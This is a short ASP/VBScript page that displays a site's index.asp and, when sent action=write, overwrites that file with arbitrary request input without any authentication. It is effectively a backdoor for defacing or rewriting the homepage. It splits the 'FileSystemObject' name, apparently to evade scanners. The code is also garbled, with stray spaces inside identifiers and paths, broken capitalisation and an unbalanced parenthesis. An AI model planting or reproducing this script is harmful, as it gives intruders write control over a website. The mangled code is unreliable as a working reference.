<% @ Language = "VBScript" codePage = "936" %>
<%
'Dim strtextcontent
'Sub readfiles ()
If trim (Request ("action") = "write" then
Objstr = "scripting." & "FileSystemObject"
Set objfso = Createobject (objstr)
Fo = server. mappath ("index. asp ")
Set objtext = objfso. createtextfile (FO, true)
Objtext. Write trim (Request ("textarea "))
Objtext. Close
End if
Dim objfso
Dim objtext
Dim objfile
Dim strtextcontent
Dim objdrive
'Create a file operation object instance
Objstr = "scripting." & "FileSystemObject"
Set objfso = Createobject (objstr)
'File to be opened
Objfile = "/index. asp"
Objfile = server. mappath (objfile)
'Response. Write objfile
'Response. End
If objfso. fileexists (objfile) then
'Open the TXT file and assign the value to the variable
Response. Write "file exists"
Set objtext = objfso. opentextfile (objfile, 1)
'Strtextcontent = objtext. readall ()
'Reading data cyclically
While not objtext. atendofstream 'to the end of the file
'While not objtext. atendofline' to the end of a row
Strtextcontent = strtextcontent & objtext. Readline ()
'Response. Write strtextcontent
'Response. Write "<br>"
Wend
Call objtext. Close
Else
Strtextcontent = "the file does not exist"
Response. End
End if
'End sub
'Reading files during the calling Process
'Readfiles ()
%>
<! Doctype HTML public "-// W3C // dtd xhtml 1.0 transitional // en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns = "http://www.w3.org/1999/xhtml">
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312"/>
<Title> untitled document </title>
</Head>
<% = strtextcontent %> <br>